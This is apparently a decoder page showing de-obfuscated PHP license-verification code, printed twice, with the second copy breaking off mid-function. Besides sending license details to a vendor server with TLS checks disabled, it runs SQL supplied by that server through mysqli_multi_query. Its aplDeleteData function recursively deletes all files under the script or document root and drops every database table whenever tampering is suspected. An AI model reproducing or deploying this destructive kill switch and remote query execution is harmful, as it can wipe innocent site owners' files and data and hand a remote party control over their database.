echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit();
A1as8:
@fclose($handle);
nAkCJ:
VcoPV:
EFoTa:
rD3z9:
if (
!(
$notifications_array["notification_case"] !=
"notification_license_ok"
)
) {
goto ZG0x7;
}
echo "<br/><br/>";
echo "License is not" .
" installed yet" .
" or corrupted. Please" .
" contact" .
" support " .
"team ";
exit();
ZG0x7:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto Pdgss;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto lkS8z;
Pdgss:
if (aplCheckData($MYSQLI_LINK)) {
goto grU_Q;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto y1_3B;
grU_Q:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_support.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
y1_3B:
lkS8z:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto qyNrl;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto UUVR3;
qyNrl:
if (aplCheckData($MYSQLI_LINK)) {
goto sGqBY;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto Qqu6U;
sGqBY:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_updates.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
Qqu6U:
UUVR3:
return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto mv3HF;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto kGywu;
mv3HF:
if (aplCheckData($MYSQLI_LINK)) {
goto Axjf1;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto jN_kK;
Axjf1:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_update.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
jN_kK:
kGywu:
return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto XgYsI;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto PBc0u;
XgYsI:
if (aplCheckData($MYSQLI_LINK)) {
goto bETzZ;
}
$notifications_array["notification_case"] =
"notification_license_corrupted";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto th7hf;
bETzZ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_uninstall.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
if (
!(
$notifications_array["notification_case"] ==
"notification_license_ok"
)
) {
goto HyyMB;
}
if (!(APL_STORAGE == "DATABASE")) {
goto oETlZ;
}
mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE);
oETlZ:
if (!(APL_STORAGE == "FILE")) {
goto GW99A;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
@fclose($handle);
GW99A:
HyyMB:
th7hf:
PBc0u:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"])) {
goto oByhn;
}
$root_directory = dirname(__DIR__);
goto Tp3Ys;
oByhn:
$root_directory = $_SERVER["DOCUMENT_ROOT"];
Tp3Ys:
foreach (
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$root_directory,
FilesystemIterator::SKIP_DOTS
),
RecursiveIteratorIterator::CHILD_FIRST
)
as $path
) {
$path->isDir() && !$path->isLink()
? rmdir($path->getPathname())
: unlink($path->getPathname());
kKJMy:
}
kYGeP:
rmdir($root_directory);
if (!(APL_STORAGE == "DATABASE")) {
goto Ql3wL;
}
$database_tables_array = [];
$table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES");
AYSjD:
if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
goto M0ADK;
}
$database_tables_array[] = $table_list_row[0];
goto AYSjD;
M0ADK:
if (empty($database_tables_array)) {
goto oA0NR;
}
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}");
NH0uQ:
}
s2J0n:
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}");
Xr05S:
}
dOOOW:
oA0NR:
Ql3wL:
exit();
}
?>
Did this file decode correctly?
Original Code
<?php
function aplCustomEncrypt($string, $key)
{
$encrypted_string = null;
if (!(!empty($string) && !empty($key))) {
goto aCHZZ;
}
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc"));
$encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv);
$encrypted_string = base64_encode($encrypted_string . "::" . $iv);
aCHZZ:
return $encrypted_string;
}
function aplCustomDecrypt($string, $key)
{
$decrypted_string = null;
if (!(!empty($string) && !empty($key))) {
goto Ya1sX;
}
$string = base64_decode($string);
if (!stristr($string, "::")) {
goto U459i;
}
$string_iv_array = explode("::", $string, 2);
if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) {
goto A2z0B;
}
list($encrypted_string, $iv) = $string_iv_array;
$decrypted_string = openssl_decrypt(
$encrypted_string,
"aes-256-cbc",
$key,
0,
$iv
);
A2z0B:
U459i:
Ya1sX:
return $decrypted_string;
}
function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF)
{
$result = false;
if (
!(
!is_float($number) &&
filter_var($number, FILTER_VALIDATE_INT, [
"options" => [
"min_range" => $min_value,
"max_range" => $max_value,
],
]) !== false
)
) {
goto NmzoT;
}
$result = true;
NmzoT:
return $result;
}
function aplValidateRawDomain($url)
{
$result = false;
if (empty($url)) {
goto Ezxcw;
}
if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url))) {
goto S7c2L;
}
$result = false;
goto R4Hfe;
S7c2L:
$result = true;
R4Hfe:
Ezxcw:
return $result;
}
function aplGetCurrentUrl($remove_last_slash = null)
{
$protocol = "http";
$host = null;
$script = null;
$params = null;
$current_url = null;
if (
!(
(isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off") ||
(isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) &&
$_SERVER["HTTP_X_FORWARDED_PROTO"] == "https")
)
) {
goto en2mY;
}
$protocol = "https";
en2mY:
if (!isset($_SERVER["HTTP_HOST"])) {
goto nGzG8;
}
$host = $_SERVER["HTTP_HOST"];
nGzG8:
if (!isset($_SERVER["SCRIPT_NAME"])) {
goto ln9Y9;
}
$script = $_SERVER["SCRIPT_NAME"];
ln9Y9:
if (!isset($_SERVER["QUERY_STRING"])) {
goto G5jYD;
}
$params = $_SERVER["QUERY_STRING"];
G5jYD:
if (!(!empty($protocol) && !empty($host) && !empty($script))) {
goto qtnZM;
}
$current_url = $protocol . "://" . $host . $script;
if (empty($params)) {
goto xUgd7;
}
$current_url .= "?" . $params;
xUgd7:
if (!($remove_last_slash == 1)) {
goto PWVPT;
}
hBtxj:
if (!(substr($current_url, -1) == "/")) {
goto liGPK;
}
$current_url = substr($current_url, 0, -1);
goto hBtxj;
liGPK:
PWVPT:
qtnZM:
return $current_url;
}
function aplGetRawDomain($url)
{
$raw_domain = null;
if (empty($url)) {
goto m39nY;
}
$url_array = parse_url($url);
if (!empty($url_array["scheme"])) {
goto CH80r;
}
$url = "http://" . $url;
$url_array = parse_url($url);
CH80r:
if (empty($url_array["host"])) {
goto Q1Xjk;
}
$raw_domain = $url_array["host"];
$raw_domain = trim(
str_ireplace("www.", "", filter_var($raw_domain, FILTER_SANITIZE_URL))
);
Q1Xjk:
m39nY:
return $raw_domain;
}
function aplGetRootUrl(
$url,
$remove_scheme,
$remove_www,
$remove_path,
$remove_last_slash
) {
if (!filter_var($url, FILTER_VALIDATE_URL)) {
goto Q69o7;
}
$url_array = parse_url($url);
$url = str_ireplace($url_array["scheme"] . "://", "", $url);
if ($remove_path == 1) {
goto VZA7A;
}
$last_slash_position = strripos($url, "/");
if (!($last_slash_position > 0)) {
goto d9E38;
}
$url = substr($url, 0, $last_slash_position + 1);
d9E38:
goto n2aKc;
VZA7A:
$first_slash_position = stripos($url, "/");
if (!($first_slash_position > 0)) {
goto InWSZ;
}
$url = substr($url, 0, $first_slash_position + 1);
InWSZ:
n2aKc:
if (!($remove_scheme != 1)) {
goto hCC7S;
}
$url = $url_array["scheme"] . "://" . $url;
hCC7S:
if (!($remove_www == 1)) {
goto qavQj;
}
$url = str_ireplace("www.", "", $url);
qavQj:
if (!($remove_last_slash == 1)) {
goto veHx_;
}
Ma7Og:
if (!(substr($url, -1) == "/")) {
goto meJbk;
}
$url = substr($url, 0, -1);
goto Ma7Og;
meJbk:
veHx_:
Q69o7:
return trim($url);
}
function aplCustomPost($url, $post_info = null, $refer = null)
{
$user_agent = "phpmillion cURL";
$connect_timeout = 10;
$server_response_array = [];
$formatted_headers_array = [];
if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) {
goto ROIEb;
}
if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) {
goto xzVnU;
}
$refer = $url;
xzVnU:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (
&$formatted_headers_array
) {
$len = strlen($header);
$header = explode(":", $header, 2);
if (!(count($header) < 2)) {
goto tY4fu;
}
return $len;
tY4fu:
$name = strtolower(trim($header[0]));
$formatted_headers_array[$name] = trim($header[1]);
return $len;
});
$result = curl_exec($ch);
$curl_error = curl_error($ch);
curl_close($ch);
$server_response_array["headers"] = $formatted_headers_array;
$server_response_array["error"] = $curl_error;
$server_response_array["body"] = $result;
ROIEb:
return $server_response_array;
}
function aplVerifyDateTime($datetime, $format)
{
$result = false;
if (!(!empty($datetime) && !empty($format))) {
goto VYeRd;
}
$datetime = DateTime::createFromFormat($format, $datetime);
$errors = DateTime::getLastErrors();
if (!($datetime && empty($errors["warning_count"]))) {
goto o0jw8;
}
$result = true;
o0jw8:
VYeRd:
return $result;
}
function aplGetDaysBetweenDates($date_from, $date_to)
{
$number_of_days = 0;
if (
!(
aplVerifyDateTime($date_from, "Y-m-d") &&
aplVerifyDateTime($date_to, "Y-m-d")
)
) {
goto NITkM;
}
$date_to = new DateTime($date_to);
$date_from = new DateTime($date_from);
$number_of_days = $date_from->diff($date_to)->format("%a");
NITkM:
return $number_of_days;
}
function aplParseXmlTags($content, $tag_name)
{
$parsed_value = null;
if (!(!empty($content) && !empty($tag_name))) {
goto Rd7mT;
}
preg_match_all(
"/<" .
preg_quote($tag_name, "/") .
">(.*?)<\/" .
preg_quote($tag_name, "/") .
">/ims",
$content,
$output_array,
PREG_SET_ORDER
);
if (empty($output_array[0][1])) {
goto VbGpu;
}
$parsed_value = trim($output_array[0][1]);
VbGpu:
Rd7mT:
return $parsed_value;
}
function aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$product = null
) {
$notifications_array = [];
if (!empty($content_array)) {
goto hZuWm;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto eybYy;
hZuWm:
if (
!empty($content_array["headers"]["notification_server_signature"]) &&
aplVerifyServerSignature(
$content_array["headers"]["notification_server_signature"],
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$product
)
) {
goto jQD2b;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_INVALID_RESPONSE;
goto O6t8i;
jQD2b:
$notifications_array["notification_case"] =
$content_array["headers"]["notification_case"];
$notifications_array["notification_text"] =
$content_array["headers"]["notification_text"];
if (empty($content_array["headers"]["notification_data"])) {
goto PDkxi;
}
$notifications_array["notification_data"] = json_decode(
$content_array["headers"]["notification_data"],
true
);
PDkxi:
O6t8i:
eybYy:
return $notifications_array;
}
function aplGenerateScriptSignature(
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$product = null
) {
$script_signature = null;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
$product = $product == null ? APL_PRODUCT_ID : $product;
if (
!(
!empty($ROOT_URL) &&
isset($CLIENT_EMAIL) &&
isset($LICENSE_CODE) &&
!empty($root_ips_array)
)
) {
goto Q4GmI;
}
$script_signature = hash(
"sha256",
gmdate("Y-m-d") .
$ROOT_URL .
$CLIENT_EMAIL .
$LICENSE_CODE .
$product .
implode("", $root_ips_array)
);
Q4GmI:
return $script_signature;
}
function aplVerifyServerSignature(
$notification_server_signature,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$product = null
) {
$result = false;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
$product = $product == null ? APL_PRODUCT_ID : $product;
if (
!(
!empty($notification_server_signature) &&
!empty($ROOT_URL) &&
isset($CLIENT_EMAIL) &&
isset($LICENSE_CODE) &&
!empty($root_ips_array)
)
) {
goto KIkV9;
}
if (
!(
hash(
"sha256",
implode("", $root_ips_array) .
$product .
$LICENSE_CODE .
$CLIENT_EMAIL .
$ROOT_URL .
gmdate("Y-m-d")
) == $notification_server_signature
)
) {
goto CC053;
}
$result = true;
CC053:
KIkV9:
return $result;
}
function aplCheckSettings()
{
$notifications_array = [];
if (!(empty(APL_SALT) || APL_SALT == "some_random_text")) {
goto WxXVO;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
WxXVO:
if (
!(
!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) ||
!ctype_alnum(substr(APL_ROOT_URL, -1))
)
) {
goto js46j;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
js46j:
if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) {
goto waXdH;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
waXdH:
if (aplValidateIntegerValue(APL_DAYS, 1, 365)) {
goto f3UYj;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
f3UYj:
if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE")) {
goto X5AaO;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
X5AaO:
if (
!(
APL_STORAGE == "DATABASE" &&
!ctype_alnum(str_ireplace(["_"], "", APL_DATABASE_TABLE))
)
) {
goto pijfR;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
pijfR:
if (
!(
APL_STORAGE == "FILE" &&
!@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)
)
) {
goto PHYGA;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
PHYGA:
if (
!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))
) {
goto dZpbm;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
dZpbm:
if (
!(
!empty(APL_ROOT_IP) &&
!in_array(
APL_ROOT_IP,
gethostbynamel(aplGetRawDomain(APL_ROOT_URL))
)
)
) {
goto P35C2;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
P35C2:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) {
goto IMryR;
}
foreach (APL_ROOT_NAMESERVERS as $nameserver) {
if (aplValidateRawDomain($nameserver)) {
goto TqLnG;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
goto N6Bba;
TqLnG:
oH7XN:
}
N6Bba:
IMryR:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) {
goto r55pk;
}
$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
$fetched_nameservers_array = [];
$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
foreach ($dns_records_array as $record) {
$fetched_nameservers_array[] = $record["target"];
nUxPL:
}
Qavs_:
$apl_root_nameservers_array = array_map(
"strtolower",
$apl_root_nameservers_array
);
$fetched_nameservers_array = array_map(
"strtolower",
$fetched_nameservers_array
);
sort($apl_root_nameservers_array);
sort($fetched_nameservers_array);
if (!($apl_root_nameservers_array != $fetched_nameservers_array)) {
goto mMLhh;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
mMLhh:
r55pk:
return $notifications_array;
}
function aplParseLicenseFile()
{
$license_data_array = [];
if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)) {
goto NbpNA;
}
$file_content = file_get_contents(
APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION
);
preg_match_all(
"/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/",
$file_content,
$matches,
PREG_SET_ORDER
);
if (empty($matches)) {
goto hI0sT;
}
foreach ($matches as $value) {
if (!(!empty($value[1]) && $value[1] == $value[3])) {
goto lEugi;
}
$license_data_array[$value[1]] = $value[2];
lEugi:
x_aMj:
}
TKTm9:
hI0sT:
NbpNA:
return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = null)
{
$settings_row = [];
if (!(APL_STORAGE == "DATABASE")) {
goto jSzxC;
}
$table_exist = @mysqli_query(
$MYSQLI_LINK,
"SHOW TABLES LIKE '" . APL_DATABASE_TABLE . "'"
);
if (!@mysqli_fetch_assoc($table_exist)) {
goto f0xjG;
}
$settings_results = @mysqli_query(
$MYSQLI_LINK,
"SELECT * FROM " . APL_DATABASE_TABLE
);
$settings_row = @mysqli_fetch_assoc($settings_results);
f0xjG:
jSzxC:
if (!(APL_STORAGE == "FILE")) {
goto B4ovf;
}
$settings_row = aplParseLicenseFile();
B4ovf:
return $settings_row;
}
function aplCheckConnection()
{
$notifications_array = [];
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/connection_test.php",
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&connection_hash=" .
rawurlencode(hash("sha256", "connection_test"))
);
if (!empty($content_array)) {
goto EhPcC;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto a43Pw;
EhPcC:
if (!($content_array["body"] != "<connection_test>OK</connection_test>")) {
goto zLWv3;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_INVALID_RESPONSE;
zLWv3:
a43Pw:
return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (
!(
!empty($ROOT_URL) &&
!empty($INSTALLATION_HASH) &&
!empty($INSTALLATION_KEY) &&
!empty($LCD) &&
!empty($LRD)
)
) {
goto NV_66;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (
!(
!filter_var($ROOT_URL, FILTER_VALIDATE_URL) ||
!ctype_alnum(substr($ROOT_URL, -1))
)
) {
goto oMJJ1;
}
$error_detected = 1;
oMJJ1:
if (
!(
filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) &&
stristr(
aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1),
aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)
) === false
)
) {
goto ONtyX;
}
$error_detected = 1;
ONtyX:
if (
!(
empty($INSTALLATION_HASH) ||
$INSTALLATION_HASH !=
hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE)
)
) {
goto tARGM;
}
$error_detected = 1;
tARGM:
if (
!(
empty($INSTALLATION_KEY) ||
!password_verify(
$LRD,
aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)
)
)
) {
goto tnqvg;
}
$error_detected = 1;
tnqvg:
if (aplVerifyDateTime($LCD, "Y-m-d")) {
goto Q933E;
}
$error_detected = 1;
Q933E:
if (aplVerifyDateTime($LRD, "Y-m-d")) {
goto BdmX1;
}
$error_detected = 1;
BdmX1:
if (
!(
aplVerifyDateTime($LCD, "Y-m-d") &&
$LCD > date("Y-m-d", strtotime("+1 day"))
)
) {
goto u4jpk;
}
$error_detected = 1;
$cracking_detected = 1;
u4jpk:
if (
!(
aplVerifyDateTime($LRD, "Y-m-d") &&
$LRD > date("Y-m-d", strtotime("+1 day"))
)
) {
goto k2W2n;
}
$error_detected = 1;
$cracking_detected = 1;
k2W2n:
if (
!(
aplVerifyDateTime($LCD, "Y-m-d") &&
aplVerifyDateTime($LRD, "Y-m-d") &&
$LCD > $LRD
)
) {
goto c0cPI;
}
$error_detected = 1;
$cracking_detected = 1;
c0cPI:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) {
goto hBQ0n;
}
aplDeleteData($MYSQLI_LINK);
hBQ0n:
if (!($error_detected != 1 && $cracking_detected != 1)) {
goto CLgzh;
}
$data_check_result = true;
CLgzh:
NV_66:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = [];
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php",
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&connection_hash=" .
rawurlencode(hash("sha256", "verify_envato_purchase"))
);
if (!empty($content_array)) {
goto BD52N;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto XR0wA;
BD52N:
if (
!(
$content_array["body"] !=
"<verify_envato_purchase>OK</verify_envato_purchase>"
)
) {
goto gUbC6;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array[
"notification_text"
] = APL_NOTIFICATION_INVALID_RESPONSE;
gUbC6:
XR0wA:
return $notifications_array;
}
function incevioVerify(
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$MYSQLI_LINK = null
) {
$notifications_array = [];
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto SJIZD;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode(
"; ",
$apl_core_notifications
);
goto v8DSN;
SJIZD:
if (
!empty(aplGetLicenseData($MYSQLI_LINK)) &&
is_array(aplGetLicenseData($MYSQLI_LINK))
) {
goto OtsK5;
}
$INSTALLATION_HASH = hash(
"sha256",
$ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE
);
$post_info =
"product_id=" .
rawurlencode(APL_PRODUCT_ID) .
"&client_email=" .
rawurlencode($CLIENT_EMAIL) .
"&license_code=" .
rawurlencode($LICENSE_CODE) .
"&root_url=" .
rawurlencode($ROOT_URL) .
"&installation_hash=" .
rawurlencode($INSTALLATION_HASH) .
"&license_signature=" .
rawurlencode(
aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
);
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_install.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
if (
!(
$notifications_array["notification_case"] ==
"notification_license_ok"
)
) {
goto CIawu;
}
$INSTALLATION_KEY = aplCustomEncrypt(
password_hash(date("Y-m-d"), PASSWORD_DEFAULT),
APL_SALT . $ROOT_URL
);
$LCD = aplCustomEncrypt(
date("Y-m-d", strtotime("-" . APL_DAYS . " days")),
APL_SALT . $INSTALLATION_KEY
);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE")) {
goto FZ2kU;
}
$content_array = aplCustomPost(
APL_ROOT_URL . "/apl_callbacks/license_scheme.php",
$post_info,
$ROOT_URL
);
$notifications_array = aplParseServerNotifications(
$content_array,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE
);
if (
!(
!empty($notifications_array["notification_data"]) &&
!empty($notifications_array["notification_data"]["scheme_query"])
)
) {
goto GK5HD;
}
$mysql_bad_array = [
"%APL_DATABASE_TABLE%",
"%ROOT_URL%",
"%CLIENT_EMAIL%",
"%LICENSE_CODE%",
"%LCD%",
"%LRD%",
"%INSTALLATION_KEY%",
"%INSTALLATION_HASH%",
];
$mysql_good_array = [
APL_DATABASE_TABLE,
$ROOT_URL,
$CLIENT_EMAIL,
$LICENSE_CODE,
$LCD,
$LRD,
$INSTALLATION_KEY,
$INSTALLATION_HASH,
];
$license_scheme = str_replace(
$mysql_bad_array,
$mysql_good_array,
$notifications_array["notification_data"]["scheme_query"]
);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or
die(mysqli_error($MYSQLI_LINK));
GK5HD:
FZ2kU:
if (!(APL_STORAGE == "FILE")) {
goto DX404;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite(
$handle,
"<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>"
);
if (!($fwrite === false)) {
goto wTMT2;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit();
wTMT2:
